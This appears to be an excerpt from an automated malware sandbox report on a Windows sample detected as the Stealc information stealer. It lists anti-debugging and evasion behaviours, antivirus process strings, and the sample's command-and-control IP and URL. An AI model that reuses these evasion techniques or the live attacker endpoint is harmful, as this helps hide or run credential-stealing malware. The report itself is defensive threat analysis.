Source: Amcache.hve.5.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\X4roU7TtF1.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\X4roU7TtF1.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\X4roU7TtF1.exe API call chain: ExitProcess graph end node
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00838011 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00838011
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00404A60 VirtualProtect 00000000,00000004,00000100,? 0_2_00404A60
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004268F0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004268F0
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004265A0 mov eax, dword ptr fs:[00000030h] 0_2_004265A0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00766E8C push dword ptr fs:[00000030h] 0_2_00766E8C
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00836807 mov eax, dword ptr fs:[00000030h] 0_2_00836807
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00810D90 mov eax, dword ptr fs:[00000030h] 0_2_00810D90
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_0081092B mov eax, dword ptr fs:[00000030h] 0_2_0081092B
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00404A60 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect, 0_2_00404A60
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00838011 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00838011
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00837A2F memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00837A2F
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00839BF0 SetUnhandledExceptionFilter, 0_2_00839BF0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Memory protected: page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: X4roU7TtF1.exe PID: 2528, type: MEMORYSTR
Searches for specific processes (likely to inject)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_004248B0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle, 0_2_004248B0
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00834A87 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle, 0_2_00834A87
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00834B17 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle, 0_2_00834B17
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree, 0_2_00833197
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00424040 lstrcpy,lstrcpy,GetSystemTime, 0_2_00424040
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00422C10 GetProcessHeap,HeapAlloc,GetUserNameA, 0_2_00422C10
Source: C:\Users\user\Desktop\X4roU7TtF1.exe Code function: 0_2_00833047 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA, 0_2_00833047
AV process strings found (often used to terminate AV products)
Source: Amcache.hve.5.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.5.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Stealc
Source: Yara match File source: 0.2.X4roU7TtF1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.X4roU7TtF1.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.810e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.X4roU7TtF1.exe.850000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2192797570.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2109975602.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2192566459.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: X4roU7TtF1.exe PID: 2528, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality
barindex
Yara detected Stealc
Source: Yara match File source: 0.2.X4roU7TtF1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.X4roU7TtF1.exe.850000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.810e67.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.X4roU7TtF1.exe.850000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.810e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.X4roU7TtF1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2192797570.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2109975602.0000000000850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2192566459.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2192848328.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: X4roU7TtF1.exe PID: 2528, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1562757 Sample: X4roU7TtF1.exe Startdate: 26/11/2024 Architecture: WINDOWS Score: 100 17 Suricata IDS alerts for network traffic 2->17 19 Found malware configuration 2->19 21 Malicious sample detected (through community Yara rule) 2->21 23 7 other signatures 2->23 6 X4roU7TtF1.exe 13 2->6         started        process3 dnsIp4 15 92.255.57.88, 49707, 80 TELSPRU Russian Federation 6->15 25 Detected unpacking (changes PE section rights) 6->25 27 Detected unpacking (overwrites its own PE header) 6->27 29 Searches for specific processes (likely to inject) 6->29 10 WerFault.exe 22 16 6->10         started        signatures5 process6 file7 13 C:\ProgramData\Microsoft\...\Report.wer, Unicode 10->13 dropped
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
92.255.57.88
 unknown Russian Federation
42253 TELSPRU true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://92.255.57.88/ true
  • Avira URL Cloud: safe
 unknown
http://92.255.57.88/7bbacc20a3bd2eb5.php true
  • Avira URL Cloud: safe
 unknown